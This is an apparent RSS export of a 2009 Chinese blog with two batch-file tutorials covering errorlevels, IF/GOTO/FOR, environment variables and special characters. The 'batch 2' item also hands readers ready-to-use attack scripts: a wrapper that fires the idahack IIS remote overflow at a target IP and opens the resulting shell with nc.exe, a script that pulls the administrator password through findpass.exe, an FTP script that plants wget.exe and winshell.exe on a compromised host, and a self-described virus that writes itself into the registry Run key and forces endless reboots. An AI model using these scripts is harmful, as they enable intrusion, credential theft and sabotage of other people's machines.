        <category><![CDATA[〓收藏◆综合〓]]></category>
        <author><![CDATA[IT小刀]]></author>
		<guid>http://hi.baidu.com/lookxd/blog/item/17646b2dad32363c349bf73a.html</guid>
</item>

<item>
        <title><![CDATA[batch 2]]></title>
        <link><![CDATA[http://hi.baidu.com/lookxd/blog/item/b4c0b2036567cd80d43f7c0c.html]]></link>
        <description><![CDATA[
		
		未找到拷贝文件 <br>
<div class="spctrl"> </div>
　　用户通过ctrl-c中止拷贝操作 <br>
<div class="spctrl"> </div>
　　预置错误阻止文件拷贝操作 <br>
<div class="spctrl"> </div>
　　拷贝过程中写盘错误<br>
<div class="spctrl"> </div>
　　都将显示出来。 <br>
<div class="spctrl"> </div>
　　以下就是几个常用命令的返回值及其代表的意义： <br>
<div class="spctrl"> </div>
　　backup <br>
<div class="spctrl"> </div>
　　0 备份成功 <br>
<div class="spctrl"> </div>
　　1 未找到备份文件 <br>
<div class="spctrl"> </div>
　　2 文件共享冲突阻止备份完成 <br>
<div class="spctrl"> </div>
　　3 用户用ctrl-c中止备份 <br>
<div class="spctrl"> </div>
　　4 由于致命的错误使备份操作中止 <br>
<div class="spctrl"> </div>
　　diskcomp <br>
<div class="spctrl"> </div>
　　0 盘比较相同 <br>
<div class="spctrl"> </div>
　　1 盘比较不同 <br>
<div class="spctrl"> </div>
　　2 用户通过ctrl-c中止比较操作 <br>
<div class="spctrl"> </div>
　　3 由于致命的错误使比较操作中止 <br>
<div class="spctrl"> </div>
　　4 预置错误中止比较 <br>
<div class="spctrl"> </div>
　　diskcopy <br>
<div class="spctrl"> </div>
　　0 盘拷贝操作成功 <br>
<div class="spctrl"> </div>
　　1 非致命盘读/写错 <br>
<div class="spctrl"> </div>
　　2 用户通过ctrl-c结束拷贝操作 <br>
<div class="spctrl"> </div>
　　3 因致命的处理错误使盘拷贝中止 <br>
<div class="spctrl"> </div>
　　4 预置错误阻止拷贝操作 <br>
<div class="spctrl"> </div>
　　format <br>
<div class="spctrl"> </div>
　　0 格式化成功 <br>
<div class="spctrl"> </div>
　　3 用户通过ctrl-c中止格式化处理 <br>
<div class="spctrl"> </div>
　　4 因致命的处理错误使格式化中止 <br>
<div class="spctrl"> </div>
　　5 在提示&ldquo;proceed with format（y/n）?&rdquo;下用户键入n结束 <br>
<div class="spctrl"> </div>
　　xcopy <br>
<div class="spctrl"> </div>
　　0 成功拷贝文件 <br>
<div class="spctrl"> </div>
　　1 未找到拷贝文件 <br>
<div class="spctrl"> </div>
　　2 用户通过ctrl-c中止拷贝操作 <br>
<div class="spctrl"> </div>
　　4 预置错误阻止文件拷贝操作 <br>
<div class="spctrl"> </div>
　　5 拷贝过程中写盘错误 <br>
<div class="spctrl"> </div>
　　3、IF STRING1 == STRING2<br>
<div class="spctrl"> </div>
　　建立TEST5.BAT，文件内容如下： <br>
<div class="spctrl"> </div>
　　@echo off <br>
<div class="spctrl"> </div>
　　IF &quot;%1&quot; == &quot;A&quot; formAT A: <br>
<div class="spctrl"> </div>
　　执行： <br>
<div class="spctrl"> </div>
　　C:\&gt;TEST5 A <br>
<div class="spctrl"> </div>
　　屏幕上就出现是否将A:盘格式化的内容。 <br>
<div class="spctrl"> </div>
　　注意：为了防止参数为空的情况，一般会将字符串用双引号（或者其它符号，注意不能使用保留符号）括起来。<br>
<div class="spctrl"> </div>
　　如：if [%1]==[A] 或者 if %1*==A*<br>
<div class="spctrl"> </div>
　　5、GOTO<br>
<div class="spctrl"> </div>
　　建立TEST6.BAT，文件内容如下： <br>
<div class="spctrl"> </div>
　　@ECHO OFF <br>
<div class="spctrl"> </div>
　　IF EXIST C:\AUTOEXEC.BAT GOTO _COPY <br>
<div class="spctrl"> </div>
　　GOTO _DONE<br>
<div class="spctrl"> </div>
　　:_COPY <br>
<div class="spctrl"> </div>
　　COPY C:\AUTOEXEC.BAT D:\ <br>
<div class="spctrl"> </div>
　　:_DONE <br>
<div class="spctrl"> </div>
　　注意： <br>
<div class="spctrl"> </div>
　　(1) 标号前是ASCII字符的冒号&quot;:&quot;，冒号与标号之间不能有空格。 <br>
<div class="spctrl"> </div>
　　(2) 标号的命名规则与文件名的命名规则相同。<br>
<div class="spctrl"> </div>
　　(3) DOS支持最长八位字符的标号，当无法区别两个标号时，将跳转至最近的一个标号。<br>
<div class="spctrl"> </div>
　　6、FOR<br>
<div class="spctrl"> </div>
　　建立C:\TEST7.BAT，文件内容如下： <br>
<div class="spctrl"> </div>
　　@ECHO OFF <br>
<div class="spctrl"> </div>
　　FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C <br>
<div class="spctrl"> </div>
　　运行： <br>
<div class="spctrl"> </div>
　　C:&gt;TEST7<br>
<div class="spctrl"> </div>
　　执行以后，屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来（不包括隐藏文件）。 <br>
<div class="spctrl"> </div>
　　win2000命令行方式批处理BAT文件技巧<br>
<div class="spctrl"> </div>
　　文章结构 <br>
<div class="spctrl"> </div>
　　1. 所有内置命令的帮助信息 <br>
<div class="spctrl"> </div>
　　2. 环境变量的概念 <br>
<div class="spctrl"> </div>
　　3. 内置的特殊符号(实际使用中间注意避开) <br>
<div class="spctrl"> </div>
　　4. 简单批处理文件概念 <br>
<div class="spctrl"> </div>
　　5. 附件1 tmp.txt <br>
<div class="spctrl"> </div>
　　6. 附件2 sample.bat <br>
<div class="spctrl"> </div>
　　###########################<br>
<div class="spctrl"> </div>
　　1. 所有内置命令的帮助信息 <br>
<div class="spctrl"> </div>
　　###########################<br>
<div class="spctrl"> </div>
　　ver <br>
<div class="spctrl"> </div>
　　cmd /? <br>
<div class="spctrl"> </div>
　　set /? <br>
<div class="spctrl"> </div>
　　rem /? <br>
<div class="spctrl"> </div>
　　if /? <br>
<div class="spctrl"> </div>
　　echo /? <br>
<div class="spctrl"> </div>
　　goto /? <br>
<div class="spctrl"> </div>
　　for /? <br>
<div class="spctrl"> </div>
　　shift /? <br>
<div class="spctrl"> </div>
　　call /? <br>
<div class="spctrl"> </div>
　　其他需要的常用命令 <br>
<div class="spctrl"> </div>
　　type /? <br>
<div class="spctrl"> </div>
　　find /? <br>
<div class="spctrl"> </div>
　　findstr /? <br>
<div class="spctrl"> </div>
　　copy /? <br>
<div class="spctrl"> </div>
　　下面将所有上面的帮助输出到一个文件 <br>
<div class="spctrl"> </div>
　　echo ver &gt;tmp.txt <br>
<div class="spctrl"> </div>
　　ver &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　echo cmd /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　cmd /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　echo rem /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　rem /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　echo if /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　if /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　echo goto /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　goto /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　echo for /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　for /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　echo shift /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　shift /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　echo call /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　call /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　echo type /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　type /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　echo find /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　find /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　echo findstr /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　findstr /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　echo copy /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　copy /? &gt;&gt;tmp.txt <br>
<div class="spctrl"> </div>
　　type tmp.txt <br>
<div class="spctrl"> </div>
　　#############################<br>
<div class="spctrl"> </div>
　　2. 环境变量的概念 <br>
<div class="spctrl"> </div>
　　#############################<br>
<div class="spctrl"> </div>
　　C:\Program Files&gt;set <br>
<div class="spctrl"> </div>
　　ALLUSERSPROFILE=C:\Documents and Settings\All Users <br>
<div class="spctrl"> </div>
　　CommonProgramFiles=C:\Program Files\Common Files <br>
<div class="spctrl"> </div>
　　COMPUTERNAME=FIRST <br>
<div class="spctrl"> </div>
　　ComSpec=C:\WINNT\system32\cmd.exe <br>
<div class="spctrl"> </div>
　　NUMBER_OF_PROCESSORS=1 <br>
<div class="spctrl"> </div>
　　OS=Windows_NT <br>
<div class="spctrl"> </div>
　　Os2LibPath=C:\WINNT\system32\os2\dll; <br>
<div class="spctrl"> </div>
　　Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM <br>
<div class="spctrl"> </div>
　　PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH <br>
<div class="spctrl"> </div>
　　PROCESSOR_ARCHITECTURE=x86 <br>
<div class="spctrl"> </div>
　　PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel <br>
<div class="spctrl"> </div>
　　PROCESSOR_LEVEL=6 <br>
<div class="spctrl"> </div>
　　PROCESSOR_REVISION=0605 <br>
<div class="spctrl"> </div>
　　ProgramFiles=C:\Program Files <br>
<div class="spctrl"> </div>
　　PROMPT=$P$G <br>
<div class="spctrl"> </div>
　　SystemDrive=C: <br>
<div class="spctrl"> </div>
　　SystemRoot=C:\WINNT <br>
<div class="spctrl"> </div>
　　TEMP=C:\WINNT\TEMP <br>
<div class="spctrl"> </div>
　　TMP=C:\WINNT\TEMP <br>
<div class="spctrl"> </div>
　　USERPROFILE=C:\Documents and Settings\Default User <br>
<div class="spctrl"> </div>
　　windir=C:\WINNT <br>
<div class="spctrl"> </div>
　　path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到 <br>
<div class="spctrl"> </div>
　　%windir%\system32\. 这个目录里面. 一般就可以自动搜索到. <br>
<div class="spctrl"> </div>
　　语法: copy mychenxu.exe %windir%\system32\. <br>
<div class="spctrl"> </div>
　　使用点(.) 便于一目了然 <br>
<div class="spctrl"> </div>
　　对环境变量的引用使用(英文模式,半角)双引号 <br>
<div class="spctrl"> </div>
　　%windir% 变量 <br>
<div class="spctrl"> </div>
　　%%windir%% 二次变量引用. <br>
<div class="spctrl"> </div>
　　我们常用的还有 <br>
<div class="spctrl"> </div>
　　%temp% 临时文件目录 <br>
<div class="spctrl"> </div>
　　%windir% 系统目录 <br>
<div class="spctrl"> </div>
　　%errorlevel% 退出代码 <br>
<div class="spctrl"> </div>
　　输出文件到临时文件目录里面.这样便于当前目录整洁. <br>
<div class="spctrl"> </div>
　　对有空格的参数. 你应该学会使用双引号(&quot;&quot;) 来表示比如对porgram file文件夹操作 <br>
<div class="spctrl"> </div>
　　C:\&gt;dir p* <br>
<div class="spctrl"> </div>
　　C:\ 的目录 <br>
<div class="spctrl"> </div>
　　2000-09-02 11:47 2,164 PDOS.DEF <br>
<div class="spctrl"> </div>
　　1999-01-03 00:47 &lt;DIR&gt; Program Files <br>
<div class="spctrl"> </div>
　　1 个文件 2,164 字节 <br>
<div class="spctrl"> </div>
　　1 个目录 1,505,997,824 可用字节 <br>
<div class="spctrl"> </div>
　　C:\&gt;cd pro* <br>
<div class="spctrl"> </div>
　　C:\Program Files&gt; <br>
<div class="spctrl"> </div>
　　C:\&gt; <br>
<div class="spctrl"> </div>
　　C:\&gt;cd &quot;Program Files&quot; <br>
<div class="spctrl"> </div>
　　C:\Program Files&gt; <br>
<div class="spctrl"> </div>
　　############################################<br>
<div class="spctrl"> </div>
　　3. 内置的特殊符号(实际使用中间注意避开) <br>
<div class="spctrl"> </div>
　　############################################<br>
<div class="spctrl"> </div>
　　微软里面内置了下列字符不能够在创建的文件名中间使用 <br>
<div class="spctrl"> </div>
　　con nul aux \ / | || &amp;&amp; ^ &gt; &lt; * <br>
<div class="spctrl"> </div>
　　You can use most characters as variable values, including white space. If you use the special characters &lt;, &gt;, |, &amp;, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples: <br>
<div class="spctrl"> </div>
　　(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号&quot;&quot;了) <br>
<div class="spctrl"> </div>
　　To create the variable value new&amp;name, type: <br>
<div class="spctrl"> </div>
　　set varname=new^&amp;name <br>
<div class="spctrl"> </div>
　　To create the variable value &quot;new&amp;name&quot;, type: <br>
<div class="spctrl"> </div>
　　set varname=&quot;new&amp;name&quot; <br>
<div class="spctrl"> </div>
　　The ampersand (&amp;), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments. <br>
<div class="spctrl"> </div>
　　find &quot;Pacific Rim&quot; &lt; trade.txt &gt; nwtrade.txt <br>
<div class="spctrl"> </div>
　　IF EXIST filename. (del filename.) ELSE echo filename. missing <br>
<div class="spctrl"> </div>
　　&gt; 创建一个文件 <br>
<div class="spctrl"> </div>
　　&gt;&gt; 追加到一个文件后面 <br>
<div class="spctrl"> </div>
　　@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示 <br>
<div class="spctrl"> </div>
　　^ 对特殊符号( &gt; &lt; &amp;)的前导字符. 第一个只是显示aaa 第二个输出文件bbb <br>
<div class="spctrl"> </div>
　　echo 123456 ^&gt; aaa <br>
<div class="spctrl"> </div>
　　echo 1231231 &gt; bbb <br>
<div class="spctrl"> </div>
　　() 包含命令 <br>
<div class="spctrl"> </div>
　　(echo aa &amp; echo bb) <br>
<div class="spctrl"> </div>
　　, 和空格一样的缺省分隔符号. <br>
<div class="spctrl"> </div>
　　; 注释,表示后面为注释 <br>
<div class="spctrl"> </div>
　　: 标号作用 <br>
<div class="spctrl"> </div>
　　| 管道操作 <br>
<div class="spctrl"> </div>
　　&amp; Usage：第一条命令 &amp; 第二条命令 [&amp; 第三条命令...] <br>
<div class="spctrl"> </div>
　　用这种方法可以同时执行多条命令，而不管命令是否执行成功 <br>
<div class="spctrl"> </div>
　　dir c:\*.exe &amp; dir d:\*.exe &amp; dir e:\*.exe <br>
<div class="spctrl"> </div>
　　&amp;&amp; Usage：第一条命令 &amp;&amp; 第二条命令 [&amp;&amp; 第三条命令...] <br>
<div class="spctrl"> </div>
　　当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令； <br>
<div class="spctrl"> </div>
　　|| Usage：第一条命令 || 第二条命令 [|| 第三条命令...] <br>
<div class="spctrl"> </div>
　　当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令； <br>
<div class="spctrl"> </div>
　　常用语法格式 <br>
<div class="spctrl"> </div>
　　IF [NOT] ERRORLEVEL number command para1 para2 <br>
<div class="spctrl"> </div>
　　IF [NOT] string1==string2 command para1 para2 <br>
<div class="spctrl"> </div>
　　IF [NOT] EXIST filename command para1 para2 <br>
<div class="spctrl"> </div>
　　IF EXIST filename command para1 para2 <br>
<div class="spctrl"> </div>
　　IF NOT EXIST filename command para1 para2 <br>
<div class="spctrl"> </div>
　　IF &quot;%1&quot;==&quot;&quot; goto END <br>
<div class="spctrl"> </div>
　　IF &quot;%1&quot;==&quot;net&quot; goto NET <br>
<div class="spctrl"> </div>
　　IF NOT &quot;%2&quot;==&quot;net&quot; goto OTHER <br>
<div class="spctrl"> </div>
　　IF ERRORLEVEL 1 command para1 para2 <br>
<div class="spctrl"> </div>
　　IF NOT ERRORLEVEL 1 command para1 para2 <br>
<div class="spctrl"> </div>
　　FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i <br>
<div class="spctrl"> </div>
　　FOR /F &quot;eol=; tokens=2,3* delims=, &quot; %i in (myfile.txt) do echo %i %j %k <br>
<div class="spctrl"> </div>
　　按照字母顺序 ijklmnopq依次取参数. <br>
<div class="spctrl"> </div>
　　eol=c - 指一个行注释字符的结尾(就一个) <br>
<div class="spctrl"> </div>
　　skip=n - 指在文件开始时忽略的行数。 <br>
<div class="spctrl"> </div>
　　delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 <br>
<div class="spctrl"> </div>
　　########################<br>
<div class="spctrl"> </div>
　　4. 简单批处理文件概念 <br>
<div class="spctrl"> </div>
　　########################<br>
<div class="spctrl"> </div>
　　echo This is test &gt; a.txt <br>
<div class="spctrl"> </div>
　　type a.txt <br>
<div class="spctrl"> </div>
　　echo This is test 11111 &gt;&gt; a.txt <br>
<div class="spctrl"> </div>
　　type a.txt <br>
<div class="spctrl"> </div>
　　echo This is test 22222 &gt; a.txt <br>
<div class="spctrl"> </div>
　　type a.txt <br>
<div class="spctrl"> </div>
　　第二个echo是追加 <br>
<div class="spctrl"> </div>
　　第三个echo将清空a.txt 重新创建 a.txt <br>
<div class="spctrl"> </div>
　　netstat -n | find &quot;3389&quot; <br>
<div class="spctrl"> </div>
　　这个将要列出所有连接3389的用户的ip. <br>
<div class="spctrl"> </div>
　　________________test.bat______<br>
<div class="spctrl"> </div>
　　@echo please care <br>
<div class="spctrl"> </div>
　　echo plese care 1111 <br>
<div class="spctrl"> </div>
　　echo plese care 2222 <br>
<div class="spctrl"> </div>
　　echo plese care 3333 <br>
<div class="spctrl"> </div>
　　@echo please care <br>
<div class="spctrl"> </div>
　　@echo plese care 1111 <br>
<div class="spctrl"> </div>
　　@echo plese care 2222 <br>
<div class="spctrl"> </div>
　　@echo plese care 3333 <br>
<div class="spctrl"> </div>
　　rem 不显示注释语句,本行显示 <br>
<div class="spctrl"> </div>
　　@rem 不显示注释语句,本行不显示 <br>
<div class="spctrl"> </div>
　　@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe) <br>
<div class="spctrl"> </div>
　　@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe) <br>
<div class="spctrl"> </div>
　　_____________________________<br>
<div class="spctrl"> </div>
　　下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的. <br>
<div class="spctrl"> </div>
　　___________________ida.bat_____<br>
<div class="spctrl"> </div>
　　@rem ver 1.0 <br>
<div class="spctrl"> </div>
　　@if NOT exist %windir%\system32\idahack.exe echo &quot;ERROR: dont find idahack.exe&quot; <br>
<div class="spctrl"> </div>
　　@if NOT exist %windir%\system32\nc.exe echo &quot;ERROR: dont find nc.exe&quot; <br>
<div class="spctrl"> </div>
　　@if &quot;%1&quot; ==&quot;&quot; goto USAGE <br>
<div class="spctrl"> </div>
　　@if NOT &quot;%2&quot; ==&quot;&quot; goto SP2 <br>
<div class="spctrl"> </div>
　　:start <br>
<div class="spctrl"> </div>
　　@echo Now start ... <br>
<div class="spctrl"> </div>
　　@ping %1 <br>
<div class="spctrl"> </div>
　　@echo chinese win2k:1 sp1:2 sp2:3 <br>
<div class="spctrl"> </div>
　　idahack.exe %1 80 1 99 &gt;%temp%\_tmp <br>
<div class="spctrl"> </div>
　　@echo &quot;prog exit code [%errorlevel%] idahack.exe&quot; <br>
<div class="spctrl"> </div>
　　@type %temp%\_tmp <br>
<div class="spctrl"> </div>
　　@find &quot;good luck :)&quot; %temp%\_tmp <br>
<div class="spctrl"> </div>
　　@echo &quot;prog exit code [%errorlevel%] find [goog luck]&quot; <br>
<div class="spctrl"> </div>
　　@if NOT errorlevel 1 nc.exe %1 99 <br>
<div class="spctrl"> </div>
　　@goto END <br>
<div class="spctrl"> </div>
　　:SP2 <br>
<div class="spctrl"> </div>
　　@idahack.exe %1 80 %2 99 %temp%\_tmp <br>
<div class="spctrl"> </div>
　　@type %temp%\_tmp <br>
<div class="spctrl"> </div>
　　@find &quot;good luck :)&quot; %temp%\_tmp <br>
<div class="spctrl"> </div>
　　@if NOT errorlevel 1 nc.exe %1 99 <br>
<div class="spctrl"> </div>
　　@goto END <br>
<div class="spctrl"> </div>
　　:USAGE <br>
<div class="spctrl"> </div>
　　@echo Example: ida.bat IP <br>
<div class="spctrl"> </div>
　　@echo Example: ida.bat IP (2,3) <br>
<div class="spctrl"> </div>
　　:END <br>
<div class="spctrl"> </div>
　　_____________________ida.bat__END_______<br>
<div class="spctrl"> </div>
　　下面我们再来第二个文件.就是得到administrator的口令. <br>
<div class="spctrl"> </div>
　　大多数人说得不到.其实是自己的没有输入正确的信息. <br>
<div class="spctrl"> </div>
　　___________________________fpass.bat____________________________________________ <br>
<div class="spctrl"> </div>
　　@rem ver 1.0 <br>
<div class="spctrl"> </div>
　　@if NOT exist %windir%\system32\findpass.exe echo &quot;ERROR: dont find findpass.exe&quot; <br>
<div class="spctrl"> </div>
　　@if NOT exist %windir%\system32\pulist.exe echo &quot;ERROR: dont find pulist.exe&quot; <br>
<div class="spctrl"> </div>
　　@echo start.... <br>
<div class="spctrl"> </div>
　　@echo ____________________________________ <br>
<div class="spctrl"> </div>
　　@if &quot;%1&quot;==&quot;&quot; goto USAGE <br>
<div class="spctrl"> </div>
　　@findpass.exe %1 %2 %3 &gt;&gt; %temp%\_findpass.txt <br>
<div class="spctrl"> </div>
　　@echo &quot;prog exit code [%errorlevel%] findpass.exe&quot; <br>
<div class="spctrl"> </div>
　　@type %temp%\_findpass.txt <br>
<div class="spctrl"> </div>
　　@echo ________________________________Here__pass★★★★★★★★ <br>
<div class="spctrl"> </div>
　　@ipconfig /all &gt;&gt;%temp%\_findpass.txt <br>
<div class="spctrl"> </div>
　　@goto END <br>
<div class="spctrl"> </div>
　　:USAGE <br>
<div class="spctrl"> </div>
　　@pulist.exe &gt;%temp%\_pass.txt <br>
<div class="spctrl"> </div>
　　@findstr.exe /i &quot;WINLOGON explorer internat&quot; %temp%\_pass.txt <br>
<div class="spctrl"> </div>
　　@echo &quot;Example: fpass.bat %1 %2 %3 %4 !!!&quot; <br>
<div class="spctrl"> </div>
　　@echo &quot;Usage: findpass.exe DomainName UserName PID-of-WinLogon&quot; <br>
<div class="spctrl"> </div>
　　:END <br>
<div class="spctrl"> </div>
　　@echo &quot; fpass.bat %COMPUTERNAME% %USERNAME% administrator &quot; <br>
<div class="spctrl"> </div>
　　@echo &quot; fpass.bat end [%errorlevel%] !&quot; <br>
<div class="spctrl"> </div>
　　_________________fpass.bat___END___________________________________________________________ <br>
<div class="spctrl"> </div>
　　还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win) <br>
<div class="spctrl"> </div>
　　依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!! <br>
<div class="spctrl"> </div>
　　echo open 210.64.x.4 3396&gt;w <br>
<div class="spctrl"> </div>
　　echo read&gt;&gt;w <br>
<div class="spctrl"> </div>
　　echo read&gt;&gt;w <br>
<div class="spctrl"> </div>
　　echo cd winnt&gt;&gt;w <br>
<div class="spctrl"> </div>
　　echo binary&gt;&gt;w <br>
<div class="spctrl"> </div>
　　echo pwd &gt;&gt;w <br>
<div class="spctrl"> </div>
　　echo get wget.exe &gt;&gt;w <br>
<div class="spctrl"> </div>
　　echo get winshell.exe &gt;&gt;w <br>
<div class="spctrl"> </div>
　　echo get any.exe &gt;&gt;w <br>
<div class="spctrl"> </div>
　　echo quit &gt;&gt;w <br>
<div class="spctrl"> </div>
　　ftp -s:w <br>
<div class="spctrl"> </div>
　　___________________________________________________________<br>
<div class="spctrl"> </div>
　　下面我帮大家写一个无限重启再注销的病毒<br>
<div class="spctrl"> </div>
　　先用记事本创建一个.bat文件在输入以下指令<br>
<div class="spctrl"> </div>
　　reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v aaa /t REG_SZ /d %0 /f<br>
<div class="spctrl"> </div>
　　%systemdrive%\windows\system32\shutdown -r -t 2008<br>
<div class="spctrl"> </div>
　　%systemdrive%\windows\system32\shutdown -l -t 0<br>
<div class="spctrl"> </div>
　　然后保存 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lookxd/blog/category/%A1%FE%CA%D5%B2%D8%A1%F4%D7%DB%BA%CF%A1%FE">〓收藏◆综合〓</a>&nbsp;<a href="http://hi.baidu.com/lookxd/blog/item/b4c0b2036567cd80d43f7c0c.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月11日 星期三  下午 12:01</pubDate>
        <category><![CDATA[〓收藏◆综合〓]]></category>
        <author><![CDATA[IT小刀]]></author>
		<guid>http://hi.baidu.com/lookxd/blog/item/b4c0b2036567cd80d43f7c0c.html</guid>
</item>

<item>
        <title><![CDATA[batch 1]]></title>
        <link><![CDATA[http://hi.baidu.com/lookxd/blog/item/d86cbdde08ad975c94ee370c.html]]></link>
        <description><![CDATA[
		
		<h1>batch</h1>
<div >
<div class="bpctrl"> </div>
　　批处理文件，在MS-DOS中，.bat文件是可执行文件，有一系列命令构成，其中可以包含对其他程序的调用。<br>
<div class="spctrl"> </div>
　　首先，批处理文件是一个文本文件，这个文件的每一行都是一条DOS命令（大部分时候就好像我们在DOS提示符下执行的命令行一样），你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。<br>
<div class="spctrl"> </div>
　　其次，批处理文件是一种简单的程序，可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程，在批处理中也可以使用循环语句(for)来循环执行一条命令。当然，批处理文件的编程能力与C语言等编程语句比起来是十分有限的，也是十分不规范的。批处理的程序语句就是一条条的DOS命令（包括内部命令和外部命令），而批处理的能力主要取决于你所使用的命令。<br>
<div class="spctrl"> </div>
　　第三，每个编写好的批处理文件都相当于一个DOS的外部命令，你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录（例如C:\BATCH），然后将所有你编写的批处理文件放到该目录中，这样只要在path中设置上c:\batch，你就可以在任意位置运行所有你编写的批处理程序。<br>
<div class="spctrl"> </div>
　　第四，在DOS和Win9x/Me系统下，C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件，每次系统启动时会自动运行该文件，你可以将系统每次启动时都要运行的命令放入该文件中，例如设置搜索路径，调入鼠标驱动和磁盘缓存，设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例：<br>
<div class="spctrl"> </div>
　　@ECHO OFF<br>
<div class="spctrl"> </div>
　　PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH<br>
<div class="spctrl"> </div>
　　LH SMARTDRV.EXE /X<br>
<div class="spctrl"> </div>
　　LH DOSKEY.COM /INSERT<br>
<div class="spctrl"> </div>
　　LH CTMOUSE.EXE<br>
<div class="spctrl"> </div>
　　SET TEMP=D:\TEMP<br>
<div class="spctrl"> </div>
　　SET TMP=D:\TEMP<br>
<div class="spctrl"> </div>
　　批处理的作用<br>
<div class="spctrl"> </div>
　　简单的说，批处理的作用就是自动的连续执行多条命令。<br>
<div class="spctrl"> </div>
　　这里先讲一个最简单的应用：在启动wps软件时，每次都必须执行（&gt;前面内容表示DOS提示符）： <br>
<div class="spctrl"> </div>
　　C:\&gt;cd wps <br>
<div class="spctrl"> </div>
　　C:\WPS&gt;spdos<br>
<div class="spctrl"> </div>
　　C:\WPS&gt;py <br>
<div class="spctrl"> </div>
　　C:\WPS&gt;wbx <br>
<div class="spctrl"> </div>
　　C:\WPS&gt;wps <br>
<div class="spctrl"> </div>
　　如果每次用WPS之前都这样执行一遍，您是不是觉得很麻烦呢？<br>
<div class="spctrl"> </div>
　　好了，用批处理，就可以实现将这些麻烦的操作简单化，首先我们编写一个runwps.bat批处理文件，内容如下：<br>
<div class="spctrl"> </div>
　　@echo off<br>
<div class="spctrl"> </div>
　　c:<br>
<div class="spctrl"> </div>
　　cd\wps<br>
<div class="spctrl"> </div>
　　spdos<br>
<div class="spctrl"> </div>
　　py<br>
<div class="spctrl"> </div>
　　wbx<br>
<div class="spctrl"> </div>
　　wps<br>
<div class="spctrl"> </div>
　　cd\<br>
<div class="spctrl"> </div>
　　以后，我们每次进入wps，只需要运行runwps这个批处理文件即可。<br>
<div class="spctrl"> </div>
　　常用命令<br>
<div class="spctrl"> </div>
　　echo、@、call、pause、rem(小技巧：用::代替rem)是批处理文件最常用的几个命令，我们就从他们开始学起。 <br>
<div class="spctrl"> </div>
　　echo 表示显示此命令后的字符 <br>
<div class="spctrl"> </div>
　　echo off 表示在此语句后所有运行的命令都不显示命令行本身 <br>
<div class="spctrl"> </div>
　　@与echo off相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。 <br>
<div class="spctrl"> </div>
　　call 调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。 <br>
<div class="spctrl"> </div>
　　pause 运行此句会暂停批处理的执行并在屏幕上显示&ldquo;Press any key to continue...&rdquo;或&ldquo;请按任意键继续。。。&rdquo;的提示，等待用户按任意键后继续。<br>
<div class="spctrl"> </div>
　　rem 表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。 <br>
<div class="spctrl"> </div>
　　例1：用edit编辑a.bat文件，输入下列内容后存盘为c:\a.bat，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt中，启动UCDOS，进入WPS等功能。 <br>
<div class="spctrl"> </div>
　　批处理文件的内容为: 命令注释： <br>
<div class="spctrl"> </div>
